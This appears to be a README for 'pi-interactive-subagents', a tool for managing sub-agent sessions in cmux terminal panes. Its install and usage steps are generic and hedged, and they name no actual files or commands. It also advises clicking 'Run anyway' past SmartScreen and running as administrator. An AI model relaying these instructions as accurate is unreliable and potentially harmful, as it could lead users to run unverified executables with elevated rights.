🧩 pi-interactive-subagents - Run sub-agent sessions with ease

🚀 What this app does

pi-interactive-subagents helps you start and manage sub-agent sessions in cmux terminals for pi. It gives you a simple way to keep related tasks in separate terminal panes and follow what each session is doing.

Use it when you want to:

• open several sub-agent sessions
• keep work split across terminals
• watch each session in a clear layout
• manage sessions without extra setup

📥 Download and install

Use this link to visit the download page:

Open the GitHub page

On Windows, follow these steps:

1. Open the link in your browser.
2. On the repository page, look for a Releases area or the main download files.
3. Download the Windows version if one is listed.
4. If the app comes as a zip file, save it to your Downloads folder.
5. Right-click the zip file and choose Extract All.
6. Open the extracted folder.
7. Run the app file or the installer file inside the folder.

If the file opens in a terminal window, leave that window open while you use the app.

🖥️ What you need

This app works best on Windows 10 or Windows 11.

You may also need:

• an internet connection for the first download
• a modern terminal app
• permission to run downloaded apps
• enough disk space for the app and its session data

If Windows asks for permission, choose Run anyway only if you trust the source and you downloaded it from the GitHub link above.

🧭 How to start using it

After you install or extract the app:

1. Open the folder where you saved it.
2. Find the main app file.
3. Double-click it.
4. Wait for the main terminal view to appear.
5. Follow the on-screen prompts to create or open a sub-agent session.
6. Use the menu or keyboard shortcuts shown in the app to move between sessions.

If the app uses a command window, keep that window open while the app runs.

🧰 Main features

🪟 Session panes

Open several sub-agent sessions at once and keep them in separate cmux panes. This makes it easier to track one task at a time.

🧠 Session control

Start, stop, and switch between sessions without closing the whole app. This helps you keep work organized.

🔁 Task handoff

Move from one sub-agent session to another with less effort. Use this when a task needs more than one step or role.

📌 Clear terminal layout

See each session in a clean terminal view. You can follow active work without losing track of older output.

⚙️ Simple session management

Create new sessions, reopen saved ones, and remove ones you no longer need. This keeps your workspace neat.

📂 Recommended use

Use pi-interactive-subagents for:

• testing multiple agent flows
• separating small tasks into different sessions
• watching background work in cmux
• handling repeated steps in a terminal setup
• keeping related work grouped together

🪄 Basic workflow

A simple way to use the app:

1. Launch pi-interactive-subagents.
2. Create a new sub-agent session.
3. Assign a task to that session.
4. Open another session for a second task.
5. Watch progress in each pane.
6. Return to the session you need.
7. Close sessions when you finish.

🔎 Tips for Windows users

• Keep the app in a folder you can find again.
• Use a short folder path, such as C:\Apps\pi-interactive-subagents.
• Do not move files after you start the app unless the app stays in the same folder.
• If a window closes right away, run the app from Command Prompt so you can see the message.
• If Windows SmartScreen appears, check that you downloaded the file from the GitHub page linked above.

🧾 File layout you may see

After download and extraction, you may see files like these:

• an app file for Windows
• a readme file
• a config file
• a folder for session data
• a log file
• helper files for terminal layout

Keep all files in the same folder unless the app says otherwise.

🛠️ Common tasks

Open a new sub-agent session

1. Start the app.
2. Choose the option for a new session.
3. Give the session a clear name.
4. Enter the task for that session.

Switch sessions

1. Open the session list or pane view.
2. Select the session you want.
3. Move focus to that pane.

Close a session

1. Select the active session.
2. Use the close option in the app.
3. Save any work if the app asks.

Restart the app

1. Close the app window.
2. Open it again from the same folder.
3. Reopen your saved sessions if needed.

❓ If something does not work

If the app does not open:

• check that you extracted the files
• make sure you downloaded the right file
• try running the app as an administrator
• confirm that the app file is still in the same folder as its support files
• try opening it from a terminal window to see the message

If a session does not appear:

• refresh the session view
• check whether the session is paused
• restart the app and open the session again

If the layout looks wrong:

• resize the terminal window
• use a larger screen
• reset the layout from the app if that option exists

📦 Version use

Use the latest version from the GitHub page when possible. Newer builds may include:

• better session handling
• smoother terminal layout
• faster session switching
• fewer start-up issues
• clearer prompts

🔐 Safe download habits

• Download only from the GitHub link in this README.
• Save the file before opening it.
• Check the file name before you run it.
• Keep your Windows security tools on.
• Remove old copies when you install a newer one

🧭 Where to get the app again

Download or open the project page

📝 Quick path for first-time users

1. Open the GitHub link.
2. Download the Windows file or release package.
3. Extract it if needed.
4. Open the app from the folder.
5. Create your first sub-agent session.
6. Keep the terminal window open while you use it.